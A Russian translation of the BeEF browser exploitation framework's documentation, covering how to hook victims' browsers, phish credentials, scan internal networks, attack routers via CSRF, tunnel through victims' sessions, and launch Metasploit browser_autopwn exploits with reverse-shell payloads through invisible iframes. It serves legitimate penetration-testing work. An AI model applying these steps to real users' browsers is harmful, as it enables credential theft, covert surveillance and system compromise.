Базовое использование BeEF

Данный материал является переводом официальной документации (https://github.com/beefproject/beef/wiki), изображения взяты там же.

О том, как "подцеплять" браузеры на BeEF, вы можете узнать, например, здесь.

Краткая информация о BeEF

Фреймворк по эксплуатации браузеров (BeEF) – это мощный профессиональный инструмент по безопасности. BeEF осваивает техники, которые обеспечивают опытного тестера на проникновение практическими векторами атаки на стороне клиента. В отличие от других фреймворков по безопасности, BeEF фокусируется на уязвимостях браузеров для оценки уровня безопасности мишени. Проект разрабатывается исключительно для законных исследований и тестирования на проникновение.

BeEF подцепляет один или более веб-браузеров в качестве плацдарма для запуска модулей направленных команд. Весьма вероятно, что каждый браузер находится внутри различных контекстов безопасности, каждый контекст может обеспечивать набор уникальных векторов атак. Этот фреймворк позволяет (в реальном времени) тестерам на проникновение выбрать конкретный модуль под каждый целевой браузер и, следовательно, контекст.

Фреймворк содержит многочисленные командные модули, которые используют простые и мощные API от BeEF. Эти API находятся в основе эффективности и производительности фреймворка. Это абстрагирует сложность и способствует быстрой разработке пользовательских модулей.

Архитектура системы BeEF

Представление

Следующая диаграмма и объяснения должны показать, как работает BeEF и какими различными путями вы можете его использовать.

Высокий уровень

architecture

При запуске BeEF также стартуют два компонента: пользовательский интерфейс и коммуникационный сервер. Эти два компонента являются базовыми компонентами BeEF и в подробностях они описаны ниже.

Компоненты

BeEF_Components

Пользовательский интерфейс

Это контрольный интерфейс для использования BeEF. Отсюда пользователь может видеть все онлайн и оффлайн браузеры, в отношении них запускать эксплойты и просматривать результаты (Образец 1).

Коммуникационный сервер

Этот графический интерфейс имеет важное значение при работе BeEF. Коммуникационный сервер (CS) является компонентом, которые взаимодействуют через HTTP с подцепленными браузерами.

Использование образца 1

Pattern1

Это образец самого простого использования BeEF. Атакующие просто запускает BeEF (beef.rb) и входит непосредственно в пользовательский интерфейс. Отсюда атакующие видит, какие пойманные браузеры онлайн и запускает в отношении подцепленных браузеров, находящихся онлайн, эксплойты.

Настройка BeEF

BeEF следует настраивать через главный конфигурационный файл: config.yaml.

Сетевые ограничения

Веб-интерфейс для подцепки или для управления BeEF можно ограничить подсетью. Например:

    restrictions:
        permitted_hooking_subnet: "10.1.0.0/16"
        permitted_ui_subnet: "127.0.0.1/32"

Настройка веб-сервера

Веб-сервер можно полностью настроить:

    http:
        debug: false # Будет печатать подробные сообщения в консоль BeEF 
        host: "0.0.0.0" # IP адрес веб-сервера
        port: "3000" # Порт веб-сервера

        # Если BeEF работает за обратным прокси или NAT
        #  здесь настройка публичного имени хоста и порта
        public: "8.7.6.5"
        public_port: "3000"

        dns: "localhost" # Адрес сервера DNS 
        web_ui_basepath: "/ui" # Путь до административного пользовательского интерфейса
        hook_file: "/hook.js" # Путь до скрипта хука
        hook_session_name: "BEEFHOOK" # Имя сессии
        session_cookie_name: "BEEFSESSION" # Имя куки BeEF 

Настройка расширений

Включение расширений

Расширения должны быть включены в главном config.yaml:

    extension:
        requester:
            enable: true
        proxy:
            enable: true
        metasploit:
            enable: false
        social_engineering:
            enable: true
        evasion:
            enable: false
        console:
             shell:
                enable: false

Демонстрационные расширения следует отключить при реальной работе установкой enable: false в extensions/demos/config.yaml:

Metasploit

Расширение Metasploit должно быть настроено изменением файла config.yml в extensions/metasploit:

            name: 'Metasploit'
            enable: true
            host: "127.0.0.1"
            port: 55552
            user: "msf"
            pass: "abc123"
            uri: '/api'
            ssl: true
            ssl_version: 'TLS1'
            ssl_verify: true
            callback_host: "127.0.0.1"
            autopwn_url: "autopwn"

Большинство настроек можно оставить со значениями по умолчанию, кроме параметров host и callback_host, которым следует иметь IP адрес хоста.

Для включения RPC коммуникации, в Metasploit следует запустить следующую команду:

load msgrpc ServerHost=127.0.0.1 User=msf Pass=abc123 SSL=y

Команду можно записать в файл и запускать с опцией -r в msfconsole.

msf1

Конечно, IP адрес и пароль должны соответствовать предыдущему конфигурационному файлу yaml.

Запуск BeEF

Теперь вы можете запустить BeEF запуском скрипта beef в корневой директории:

conf-launch

Вы также можете использовать следующие опции:

Использование: beef [опции]
-x, --reset                      Сбросить базу данных
-v, --verbose                    Показать отладочную информацию
-a, --ascii_art                  Напечатать арт BeEF ascii
-c, --config ФАЙЛ                Загрузить иной конфигурационный файл: если он назван custom-config.yaml, git автоматически игнорирует его.
-p, --port ПОРТ                  Изменить порт по умолчанию, который BeEF прослушивает
-w, --wsport WS_ПОРТ             Изменить порт по умолчанию, который прослушивает BeEF WebSocket
-i, --interactive                Запуск с активированной консольной оболочкой

После настройки вы можете проверить, что модули metasploit загружаются при запуске BeEF:

conf_metasploit

Интерфейс

Вход

По прибытии на веб-сервер BeEF (вероятно по адресу http://localhost:3000/ui/panel если вы начали с BeEF), вы увидите страницу входа:

interface-login

По умолчанию логин и пароль: beef/beef.

Домашняя страница

Домашняя страница выглядит примерно так:

interface-home

Для начала, как вы можете видеть, вам доступно немного возможных действий до того, как у вас появятся пойманные браузеры. Поэтому вам нужно поймать браузер, например, используя демо страницу (url должно быть http://localhost:3000/demos/basic.html и http://localhost:3000/demos/butcher/index.html)

Подцепленные браузеры

После успешной зацепки, вы быстро увидите новый подцепленный браузер в меню beef:

interface-hooked

Кликая на новый подцепленный браузер, вы выбираете его как текущий браузер и вы увидите новую вкладку "Current Browser" слева:

interface-hooked2

Новая вкладка представляет подробности по браузеру, подцепленную страницу и подцепленный хост, а также обеспечивает новое меню из вкладок по выбранному браузеру.

Командная вкладка

Идите прямиком в командную вкладку:

interface-command

Перед каждым модулем вы увидите маркеры с различными цветами. BeEF обнаруживает, какой браузер вы подцепили и знает, какие модули на каком браузере работают:

  • Зелёный: Он работает на выбранном браузере. Действуйте!
  • Оранжевый: Он будет работать, но пользователь может выявить это. Обратите внимание, что это нормальное состояние для некоторых модулей, например, для модулей социальной инженерии
  • Красный: На этом браузере он не работает. Но вы всё равно можете попробовать!

Например, давайте получим внутренний IP подцепленного браузера. Выберите "Get Internal IP" в категории Host и кликните "Execute" (этот модуль должен работать на большинстве браузеров, если на хосте установлена Java). После нескольких секунд вы увидите новую команду в разделе История:

interface-command2

Если теперь вы перейдёте во вкладку "Logs", вы увидите два информационных сообщения:

  • Браузеры, присоединившиеся к орде зомби
  • Запущенную вами "Get Internal IP" на подцепленном браузере

interface-log

Вы также можете видеть главная вкладка "Logs" теперь имеет список обо всех выполненных действиях над всеми браузерами:

interface-log2

Последние вкладки отделяют Туннельный Прокси и Xss Rays, которые будут рассмотрены чуть ниже.

Сбор информации

Отпечатки браузеров

Когда подцеплен браузер, BeEF автоматически соберёт несколько кусочков информации о подцепленном браузере:

  • Имя браузера и версию
  • User Agent браузера
  • Плагины (включая Java, ActiveX, VBS, Flash…)
  • Размер окна

Информация, которую BeEF собирает по умолчанию с подцепленного браузера:

information-gathering1

Затем вы можете использовать различные плагины для сбора более детальной информации по браузерам:

  • Модуль Browser Fingerprinting использует url по запросу для идентификации браузера. Это может быть полезно, если пользователь сменил его user agent.
  • Вы можете завершить список плагинов с модулями Detect Firebug, Detect popup blocker, Detect Google Desktop, Detect unsafe ActiveX…

Результат модуля по отпечаткам браузеров:

information-gathering2

Сбор информации о системе

Используя несколько модулей, вы также можете собрать информацию о системе подцепленного браузера:

  • Internet Explorer имеет разрешительные ограничения, позволяющие обнаружить установленное программное обеспечение (module Detect Softwares) и даже ключи регистра (осторожно, в этом случае у пользователя появится окно запроса с сообщением авторизации).
  • Если браузеры санкционируют Java, модуль Get Internal IP позволит выявить IP адрес системы (более забавные трюки с сетью будут описаны позже).
  • Модуль Get System Info также использует апплет Java для сбора детальной информации о системе: подробности об операционной системе, подробности о Java JVM, IP адрес, объём памяти…
  • Также возможно получить расположение пользователя если использовать API геолокации или используя трюк с запросом в Google карты.
  • JavaScript API по умолчанию, конечно, позволяет получить данные, сохранённые в буфере обмена.

Результат модуля Get System:

module-get-systeminfo

Отпечатки пользовательского поведения

Подцепленный браузер также позволяет раскрыть некоторые информацию по поведению пользователя:

  • Используя трюки JavaScript возможно определить, посещал ли уже браузер данный URL или данный домен.
  • Два модуля могут использоваться чтобы узнать, залогинен ли пользователь в социальных сетях и использует ли пользователь TOR.

module-detect-social-network

Социальная инженерия

При наличии подцепленного браузера, вы можете модифицировать всю страницу и выполнять различные действия (редирект…), что предоставляет широкие возможности для атак социальной инженерией. Попробуем их обобщить на этой странице.

Запрос учётных данных

Простые атаки часто самые эффективные, поэтому с различными модулями вы можете просто спросить пользовать:

  • Модуль Pretty Theft печатает маленькое сообщение пользователю с требованием логина и пароля, объясняя это тем, что сессия закончилась.
  • Модуль Simple Hijacker предлагает несколько шаблонов социальной инженерии и затем, когда тот кликает по ссылке на странице, выводит пользователю приглашения.
  • Clippy – это модуль, который создаёт маленький помощник браузера, предлагающие обновления браузера.

module-prettytheft1

Перенаправление на другую страницу

Вы также можете использовать модули BeEF для перенаправления на внешние страницы:

  • Используя базовый модуль ля редиректа браузера, вы можете перенаправить подцепленную страницу на другую страницу. Обратите внимание, что быть перенаправленным может быть странным для пользователя и вы можете потерять зомби. Для предотвращения потери браузера из BeEF, вы также можете использовать модуль редиректа с iframe, который откроет на 100% iframe с данным url.
  • Вы также можете использовать замечательный модуль tabnabbing: этот модуль выявляет, когда потерян фокус пользователя на текущей вкладке и в это время модифицирует страницу целиком, для загрузки данного URL в iframe. Когда пользователь возвращается к вкладке, они напрямую увидят новую веб-страницу.

Расширения Chrome/Firefox

Требуя от пользователя установить фальшивое обновления flash, возможно установить вредоносное расширение Firefox/Chrome. Будучи установленным, это расширение может связываться с BeEF напрямую и получать доступ к намного большему количеству информации, чем код в подцепленном браузере.

module-fake-flash-update2

Используя модуль расшения Chrome, возможно использовать вредоносное расширение для:

  • Получения всех кукиз
  • Составления списка расширений Chrome
  • Захватить контакты Google аккаунта Google в который сделан вход
  • Сделать инжект BeEF  во все вкладки
  • Выполнить код JavaScript в новой вкладке
  • Сделать скриншот
  • Отправить Gvoice SMS

Другое

Также есть отличный модуль clickjacking, который позволяет пользовательскую атаку clickjacking по данному URL и сдвигаясь на целевую страницу:

module-clickjacking1

Исследование сети

С хаками JavaScript возможно запустить сетевые атаки через подцепленный браузер.

Получение внутреннего IP адреса

Для получения IP адреса, используемого системой с зомби браузером, существует два модуля. С этих IP адресов становится возможно представить план адресации внутренней сети и использовать другие модули.

Модуль Get Internal IP (WebRTC) для Firefox и Chrome использует WebRTC для получения IP от каждого сетевого интерфейса.

0a055c62-a8b7-11e4-82fd-96e726f8a60a

Модуль Get Internal IP Address использует апплет Java для получения IP. Поскольку Java запускается только после клика, пользователь должен разрешить запуск неподписанных апплетов Java.

module-get-internal-ip

Поиск подсетей LAN

Модуль Identify LAN Subnets использует основанный на времени XHR для определения, используется ли какой-либо из популярных LAN IP адресов в пределах локальной сети(сетей) на зомби. Из этих IP становится возможным представить план внутренней адресации и использовать другие модули. Этот модуль работает только с Firefox и Chrome.

2059b59e-a8b7-11e4-9e67-17b7ea0b75bb

Get HTTP Servers

Модуль Get HTTP Servers загружает изображение favicon (иконка сайта) из предсказуемого пути (/favicon.ico, /favicon.png, /images/favicon.ico, /images/favicon.png) на особый IP адрес(а) для выявления веб-серверов в локальном пространстве сети(сетей) зомби машин. Из этих IP адресов становится возможным представить план внутренней адресации и использовать другие модули. Этот модуль должен быть невидимым для пользователей в Internet Explorer и Safari, однако с другими браузерами пользователи могут обратить внимание если какой-либо из просканированных хостов вызовет всплывающее окно с запросом 401 Authentication Required (требуется аутентификация).

330d4c78-a8b7-11e4-90e9-89260effd9c8

Ping Sweep

Затем возможно запустить запросы пинг для выявления живых хостов в сети. Этот модуль существует в трёх версиях.

Модуль Ping Sweep использует основанный на времени запрос JavaScript XHR для выявления живых хостов. Этот модуль работает только в Firefox.

Модуль Ping Sweep (FF) использует напрямую Java API для отправки запросов и время ответов. Этот модуль работает только в Firefox с установленной Java.

Ping Sweep (Java), который загружает апплет Java. Поскольку Java представлена в виде кликни-для-запуска, то пользователь должен разрешить запуск неподписанных апплетов Java.

module-ping-sweep1

Cross-Origin Scanner (CORS)

Модуль Cross-Origin Scanner (CORS) отправляет CORS запросы указанному IP диапазону и возвращает IP адрес, порт, код статуса HTTP, заголовок страницы и содержимое страницы для каждого сервера, определённого с разрешительной CORS политикой. Этот модуль должен работать на всех современных браузерах, которые поддерживают CORS.

ebd4b0b2-a8b6-11e4-9777-f5e3bb6377b7

Cross-Origin Scanner (Flash)

Модуль Cross-Origin Scanner (Flash) отправляет запросы на указанный диапазон IP используя Flash и возвращая IP адреса, порт, заголовок страницы и веб содержимое для каждого веб-сервера, определённого с разрешительной политикой flash cross-origin. Этот модуль работает только в Firefox и Chrome с установленным Flash.

DNS Enumeration

Играясь с таймерами, с Firefox и Chrome возможно определить, данное имя хоста существует или нет. В первом случае запрос будет дольше, поскольку будет выполнено DNS преобразование, а затем начнётся TCP подключение (которое, наверное, окажется неудачным). Во втором случае, будет быстро возвращена ошибка на DNS запрос, таким образом браузер способен определить, что данная DNS запись отсутствует.

Сканирование портов

Теперь, когда мы знаем адрес подцепленной системы и несколько имён хостов, было бы интересно запустить сканирование портов. К счастью, несколько исследователей обнаружили, что возможно использовать этот же хак с таймингом для сканирования портов загружая изображения в браузер Firefox и Chrome. Эта атака включена в модуль Port Scanner.

module-port-scanner2

Network Fingerprinting (Отпечатки сети)

Модуль Network Fingerprinting использует URL изображений по умолчанию для снятия отпечатков устройств, используемых в сети. Он включает список картинок по умолчанию для веб-серверов (apache, IIS) и сетевых устройств (Linksys NAS, принтеры…) и проверяет, доступна ли одна из этих картинок. Модуль должен работать во всех браузерах. Пользователи могут заметить на некоторых просканированных хостах всплывающее окно с запросов аутентификации 401 Authentication Required.

module-network-fingerprint2

Remote CSRFs

Межсайтовая подделка запроса (CSRF) – это уязвимость, которая до сих пор редко принимается во внимание разработчиками, хотя она может иметь серьёзные последствия. BeEF включает множество модулей CSRF, особенно нацеленных на персональные роутеры (Linksys, Dlink…). К счастью, мы просто определяем один из этих роутеров во время снятия отпечатков сети на предыдущем шаге. Большинство атак CSRF позволяют модифицировать пароль администратора, хотя некоторые могут использоваться для получения обратного шелла или открыть внешние порты на устройстве.

Вы можете увидеть список CSRF модулей на странице модулей.

IRC NAT Pinning

Симулируя IRC связь от браузера, возможно склонить файервол к открытию TCP портов. Этот хак называется NAT Pinning и он включён в модуль BeEF IRC NAT Pinning.

Admin UI (Админка)

Network Map (Карта Сети)

Network Map, доступный во вкладке Network -> Map в Admin UI, представляет динамическую карту локальной сети(сетей) зомби браузера. Найденные сетевые хосты добавляются в карту автоматически.

Сетевая карта локальной сети зомби-браузера:

0117cf3a-6ad2-11e5-9b39-cb747f06a13c

Network Map использует HTML5, который позволяет вам сохранить карту как изображение.

Сохранение Network Map canvas как изображения:

06171dc4-6ad2-11e5-9e3d-7da364f3285e

Сетевые хосты

Кликнув правой кнопкой где угодно в Network -> Hosts вы вызовите контекстное меню, которое предоставляет опции для обнаруженных хостов.

e49e6dca-ac2a-11e4-909a-18c1de74ac27

Первые два пункта меню (для Chrome и Firefox) пробуют определить диапазоны IP адресов локальной сети:

  • Get Internal IP WebRTC. (C, FF) [Получить внутренний IP]
  • Identify LAN subnets (C, FF) [Найти локальные подсети]

Оставшиеся опции выполняют обнаружение хостов по указанному пользователем диапазону IP адресов или предопределённому списку часто используемых LAN IP адресов:

  • Discover Routers (S, FF) [Найти роутеры]
  • Discover Web Servers (ALL) [Найти веб-серверы]
  • Fingerprint HTTP (C, FF, IE, S) [Отпечатки HTTP]
  • Cross-Origin CORS Scan (IE10+, C, FF, S) [Сканирование Cross-Origin CORS]
  • Cross-Origin Flash Scan (C, FF) [Сканирование Cross-Origin Flash]

Найденные сетевые хосты доступны в Network -> Hosts panel.

Правый клик по сетевому хосту позволяет вам выполнять различные действия на хосте или всех хостах в локальной подсети, такие как:

  • Scan for HTTP servers (ALL) [Сканировать все HTTP сервера]
  • Fingerprint HTTP servers (C, FF, IE, S) [Получение отпечатков всех HTTP серверов]
  • Cross-Origin scan for CORS enabled HTTP servers (IE10+, C, FF, S) [Cross-Origin сканирование для HTTP серверов с вкключённым CORS]
  • Cross-Origin scan for Flash cross-origin enabled HTTP servers (C, FF) [Cross-Origin сканирование для HTTP серверов с включённым совместным использованием Flash на различных источниках]
  • Scan for open TCP ports (C, FF) [Сканирование открытых TCP портов]

09b3323a-ac2b-11e4-90d5-2473208e5932

Сетевые службы

Найденные сетевые службы доступны в панели Network -> Services.

Правый клик по сетевой службе позволяет вам выполнить различные действия, такие как:

  • Fingerprint HTTP servers [Снятие отпечатков с HTTP серверов]
  • Cross-Origin scan host for CORS enabled HTTP servers [Cross-Origin сканирование хоста для HTTP серверов с включённым совместным использованием ресурсов между разными источниками]
  • Cross-Origin scan host for Flash cross-origin enabled HTTP servers [Cross-Origin сканирование хоста для HTTP с включённым Flash совместным использованием ресурсов]
  • Scan for remote file include (reverse shell) [Сканирование на инклуд удалённых файлов (обратный шелл)]
  • Scan for known vulnerable Shell Shock CGIs. (reverse shell) [Сканирование CGI, о которых известно, что они уязвимы к Shell Shock. (обратный шелл)]

14d547a2-ac2b-11e4-9cd3-9ce7ad51e7d4

RESTful API

Сетевое расширение RESTful API позволяет получить идентификатор сетевого хоста и службы.

 # Возвращает весь список сетевых хостов для всех зомби
curl http://127.0.0.1:3000/api/network/hosts?token=[token]

# Возвращает весь список сетевых служб для всех зомби
curl http://127.0.0.1:3000/api/network/services?token=[token]

# Возвращает все хосты данного конкретного id подцепленного брауезра
curl http://127.0.0.1:3000/api/network/hosts/[id]?token=[token]

# Возвращает все службы данного конкретного id подцепленного брауезра
curl http://127.0.0.1:3000/api/network/services/[id]?token=[token]

# Возвращает указанный сетевой хост по данному его id
curl http://127.0.0.1:3000/api/network/host/[id]?token=[token]

# Возвращает указанную сетевую службу по данному её id
curl http://127.0.0.1:3000/api/network/service/[id]?token=[token]

Модули Metasploit

После настройки и запуска Metasploit, модули Metasploit напрямую включаются в дерево командных модулей BeEF:

msf2

При выборе полезной нагрузки, все опции модулей Metasploit могут быть доступны непосредственно в веб-интерфейсе BeEF:

msf3

Затем вы просто должны ждать пока эксплойт отработает:

msf6

Browser Autopwn

Хотя эта функция интегрирована непосредственно в BeEF, вы с лёгкостью можете использовать функцию Browser Autopwn из Metasploit с BeEF.

msf > use auxiliary/server/browser_autopwn2
msf auxiliary(browser_autopwn2) > show options

Module options (auxiliary/server/browser_autopwn2):

   Name             Current Setting  Required  Description
   ----             ---------------  --------  -----------
   EXCLUDE_PATTERN                   no        Pattern search to exclude specific modules
   INCLUDE_PATTERN                   no        Pattern search to include specific modules
   Retries          true             no        Allow the browser to retry the module
   SRVHOST          0.0.0.0          yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
   SRVPORT          8080             yes       The local port to listen on.
   SSL              false            no        Negotiate SSL for incoming connections
   SSLCert                           no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                           no        The URI to use for this exploit (default is random)


Auxiliary action:

   Name       Description
   ----       -----------
   WebServer  Start a bunch of modules and direct clients to appropriate exploits

Для начала запустите browser_autopwn или browser_autopwn2 в Metasploit и получите BrowserAutoPwn URL, например:

msf auxiliary(browser_autopwn2) > run -z 
[*] Auxiliary module execution completed

[*] Searching BES exploits, please wait...
msf auxiliary(browser_autopwn2) >
[*] Starting exploit modules...
[*] Starting listeners...
[*] Time spent: 6.01071043
[*] Using URL: http://0.0.0.0:8080/5WNrYZjr
[*] Local IP: http://10.1.1.175:8080/5WNrYZjr

[*] The following is a list of exploits that BrowserAutoPwn will consider using.
[*] Exploits with the highest ranking and newest will be tried first.

Exploits
========

 Order  Rank       Name                                       Payload
 -----  ----       ----                                       -------
 1      Excellent  webview_addjavascriptinterface             android/meterpreter/reverse_tcp on 4443
 2      Excellent  samsung_knox_smdm_url                      android/meterpreter/reverse_tcp on 4443
 3      Excellent  firefox_svg_plugin                         firefox/shell_reverse_tcp on 4442
 4      Excellent  firefox_webidl_injection                   firefox/shell_reverse_tcp on 4442
 5      Excellent  firefox_tostring_console_injection         firefox/shell_reverse_tcp on 4442
 6      Excellent  firefox_proto_crmfrequest                  firefox/shell_reverse_tcp on 4442
 7      Great      adobe_flash_net_connection_confusion       windows/meterpreter/reverse_tcp on 4444
 8      Great      adobe_flash_shader_drawing_fill            windows/meterpreter/reverse_tcp on 4444
 9      Great      adobe_flash_shader_job_overflow            windows/meterpreter/reverse_tcp on 4444
 10     Great      adobe_flash_hacking_team_uaf               windows/meterpreter/reverse_tcp on 4444
 11     Great      adobe_flash_uncompress_zlib_uaf            windows/meterpreter/reverse_tcp on 4444
 12     Great      adobe_flash_opaque_background_uaf          windows/meterpreter/reverse_tcp on 4444
 13     Great      adobe_flash_pixel_bender_bof               windows/meterpreter/reverse_tcp on 4444
 14     Great      adobe_flash_nellymoser_bof                 windows/meterpreter/reverse_tcp on 4444
 15     Great      adobe_flash_copy_pixels_to_byte_array      windows/meterpreter/reverse_tcp on 4444
 16     Great      adobe_flash_worker_byte_array_uaf          windows/meterpreter/reverse_tcp on 4444
 17     Great      adobe_flash_casi32_int_overflow            windows/meterpreter/reverse_tcp on 4444
 18     Great      adobe_flash_domain_memory_uaf              windows/meterpreter/reverse_tcp on 4444
 19     Good       adobe_flash_uncompress_zlib_uninitialized  windows/meterpreter/reverse_tcp on 4444
 20     Good       wellintech_kingscada_kxclientdownload      windows/meterpreter/reverse_tcp on 4444
 21     Good       ms14_064_ole_code_execution                windows/meterpreter/reverse_tcp on 4444

[+] Please use the following URL for the browser attack:
[+] BrowserAutoPwn URL: http://10.1.1.175:8080/5WNrYZjr
[*] Server started.
[*] Starting the payload handler...

Обратите внимание BrowserAutoPwn URL: http://10.1.1.175:8080/5WNrYZjr

Затем используйте командный модуль "Create Invisible Iframe" для загрузки веб-страницы autopwn в iframe:

msf8

Теперь нужно просто ждать шелла:

msf9

Туннелирование

Туннельный прокси будет обрабатывать запросы через выбранную сессию браузера.

Представление

Туннельный прокси (TP) эффективно имитирует обратный HTTP. Выбранная сессия браузера становится туннелем, а её подцепленный браузер – точкой выхода.

Подробности

Браузер (как и вообще любое программное обеспечение, которое поддерживает HTTP прокси) с его прокси, настроенным на использование фреймворка, будет отправлять все запросы через TP. TP создаст набор инструкций, основанных на полученных подробностях запроса. Эти инструкции будут индуцировать браузер совершать эквивалентные запросы. Далее инструкции будут обёрнуты и отправлены выбранной сессии браузера для выполнения на подцепленном браузере. Браузер становиться узлом выхода для туннеля. Он будет выполнять запросы и получать HTTP ответы. Далее ответ передаётся обратно прокси BeEF, который, в свою очередь, доставляет его браузеру. Этот процесс создаёт туннель, на одном конце которого TP, а на другом – выбранный подцепленный браузер.

Запросы не являются кроссдоменными: это означает, что если текущий домен подцепленного браузера – это example.com, то браузер, использующий прокси, может отправлять запросы только example.com.

Имеются планы на будущее по расширению возможностей туннельного прокси, путём интегрирования Erlend Oftedal's malaRIA. Это позволит туннельному прокси перенаправлять запросы каждому домену с либеральной кроссдоменной политикой.

<allow-access-from domain="*">

Коммуникационный поток

Браузер -> (TP-CS) -> подцепленный браузер -> (В-домене) Веб-сервер -> подцепленный браузер -> (TP-CS) -> Браузер

Реальные сценарии

Реальных случаев применения туннельного прокси много:

  • просмотр стороны аутентификации подцепленного домена через контекст безопасности браузера жертвы (кукиз автоматически добавляются к XmlHttpRequests с jQuery)
  • индексация подцепленного домена через контекст безопасности браузера жертвы
  • поиск и эксплуатация SQLi с Burp Pro Scanner и sqlmap.

Практическое использование туннельного прокси можно посмотреть в видео здесь, это официальный канал BeEF на Youtube.

Как использовать это расширение прокси

1. Выберите подцепленный браузер, который вы хотите использовать для туннельных запросов (правой кнопкой на иконке подцепленного браузера, затем левой кнопкой на "Use As Proxy")

tunnel1

2. Настройте другой браузер использовать туннельный прокси BeEF в качестве HTTP прокси. По умолчанию адрес прокси 127.0.0.1:6789

tunnel2

3. В этом случае у нас в качестве подцепленного браузера Opera (на правом скриншоте), а Firefox (на левом скриншоте) используется как браузер для туннельного прокси. Вы можете видеть, что Firefox параллельно просматривает тот же домен подцепленного браузера Opera (без кражи каких-либо кукиз).

tunnel3

4. Каждый отправленный через туннельный прокси запрос использует расширение Requester для отправки новых XHR подцепленному браузеру. Все пары сырых запросов/ответов в базе данных BeEF и могут быть проанализированы в подробностях через вкладку Requester->History.

tunnel4

Xss Rays

Представление

Xssrays – это XSS сканер исключительно на JavaScript. Изначально его разработал Gareth Heyes в 2009. Основное, что делает Xssrays, это парсит все ссылки и формы страницы, где он был загружен, и проверяет на XSS в GET, POST параметрах, а также в пути URI, создавая скрытый iFrames.

Подробности

Оригинальный код Heyes из 2009 использовал фрагмент location.hash чтобы эффективно иметь обратную связь между родительской и дочерней iFrames. Этот трюк был пропатчен в последних браузерах. BeEF использует новый подход, который приводит к выводам, свободным от ложных срабатываний. Причина, почему они являются свободными от ложных срабатываний в том, что BeEF должен использовать XSS для обнаружения уязвимости.

Обзор высокого уровня

Для проверки кроссдоменного XSS, мы вставляем полезную нагрузку XSS, которая будет контактировать с сервером BeEF если код JavaScript успешно выполнен (т.е. XSS подтверждена). При проверке на XSS на кроссдоменных источниках, подход совершенно слепой (поскольку мы не можем прочитать HTTP ответ в соответствии с Same Origin Policy). Используемый в BeEF подход не является свободным от ложных срабатываний, поскольку мы можем попробовать различные векторы атаки, но фреймворк не можете определить, какие символы разрешены или есть ли на месте какие-либо ограничения на длину. Эта проблема может быть минимизирована добавление большего числа векторов атак, которые покроют различные сценарии.

xssrays1

Как использовать расширение Xssrays

1. Выберите подцепленный браузер для использования в инжекте кода Xssrays Javascript. По умолчанию Xssrays проверит на XSS кроссдоменные ресурсы. Обратите внимание, что домен подцепленного браузера сейчас http://172.31.229.247/

7

Если вы хотите запустить пользовательское сканирование Xssrays, для начала вы можете сконфигурировать настройки расширения и только затем кликнуть на Scan. Здесь вы можете настроить таймау по умолчанию для удаления iFrames, а также должны ли быть проверены кроссдоменные ресурсы.

xssrays3

2. Когда найдена XSS уязвимость, вы увидите оповещение в логах BeEF, что-то вроде "received ray from HB". Также открыв вкладку XssRays->Logs вы можете увидеть подробности по XSS, которую нашёл XssRays.

xssrays4

3. Если у вас прямой доступ к приложению, вы можете протестировать находки Xssrays используя предоставленный PoC. Как вы можете видеть на изображении ниже, XSS, которую нашёл Xssrays, не была ложным срабатыванием.

xssrays5

Что дальше

Если Xssrays нашёл XSS на кроссдоменном ресурсе, и если у вас нет доступа к тому ресурсу (например, внутренней сетевой веб-сервер жертвы), пользователь всегда может спровоцировать жертву открыть ссылку на уязвимый ресурс используя крюк BeEF в вашем векторе атаки. Таким образом ваша площадь атаки будет расширена, и тот же браузер жертвы будет подцеплен в BeEF на 2 разных доменах: первоначальном и новом с XSS найденной в XssRays.

Закрепление

Старая школа: Всплывающее окно под браузером

Модуль Create Pop Under создаст всплывающее окно под браузером, которое открывает пустую страницу BeEF. Старая школа, но до сих пор работает!

Грязно: Спросить подтверждение для закрытия вкладки

Модуль Confirm Close Tab спрашивает подтверждение пользователя снова, снова и снова, хочет ли он закрыть вкладку. Грязно!

module-confirm-close-tab1

Незаметно: Ссылки редиректа на iframes переднего плана

Модуль Create Foreground iFrame переписывает все ссылки на странице чтобы избегнуть уход с текущей страницы. Вместо ухода, этот модуль загружает целевой URL в открытом на 100% iframe переднего плана. Незаметно, но URL не меняется!

Чисто: Человек в браузере

Модуль Man In The Browser запускает отличный браузерный хак человек в браузере: этот загруженный модуль будет обрабатывать каждый клик на новой ссылке. Для ссылок этого же домена, он будет делать AJAX запросы и загружать новую страницу вместо старой и добавлять эту страницу в историю, здесь нет разницы для пользователя с классической загрузкой, но браузер всё ещё на крючке. Из-за политики Same Origin Policy невозможно иметь это же поведение на других доменах, этот модуль откроет ссылку в новой вкладке.

Геолокация

BeEF имеет несколько методов для определения расположения подцепленного браузера.

IP геолокация

Для включения IP геолокации, загрузите базу данных MaxMind:

curl -O http://geolite.maxmind.com/download/geoip/database/GeoLiteCity.dat.gz
gunzip GeoLiteCity.dat.gz && mkdir /opt/GeoIP && mv GeoLiteCity.dat /opt/GeoIP

Затем отредактируйте ваш файл config.yaml для включения IP геолокации указав путь к базе данных. Например:

    geoip:
        enable: true
        database: '/opt/GeoIP/GeoLiteCity.dat'

Модули

Существует несколько модулей для определения расположения подцепленного браузера.

Geolocation

Модуль Geolocation получит физическое расположение подцепленного браузера используя Phonegap API.

Get Geolocation

Модуль Get Geolocation Получит физическое расположение подцепленного браузера используя Geo-location API. У пользователя опявится запрос поделиться его расположением с подцепленным источником, если подцепленный источник ранее не был добавлен в белый список.

Get Physical Location

Модуль Get Physical Location получит информацию о геолокации основываясь на соседских беспроводных точках доступа используя инкапсуляцию внутри подписанного апплета Java. У пользователя будет запрос на запуск Java аплета.

Подробности будут включать:

  • Подробности о координатах GPS
  • Подробности об улице адреса

Если машина жертвы имеет файервол, который мониторит исходящие подключения (Zonealaram, LittleSnitch и т.д.), будет сделано предупреждение о запросе к Google картам.

Рекомендуемые статьи:

Добавить комментарий

Ваш e-mail не будет опубликован.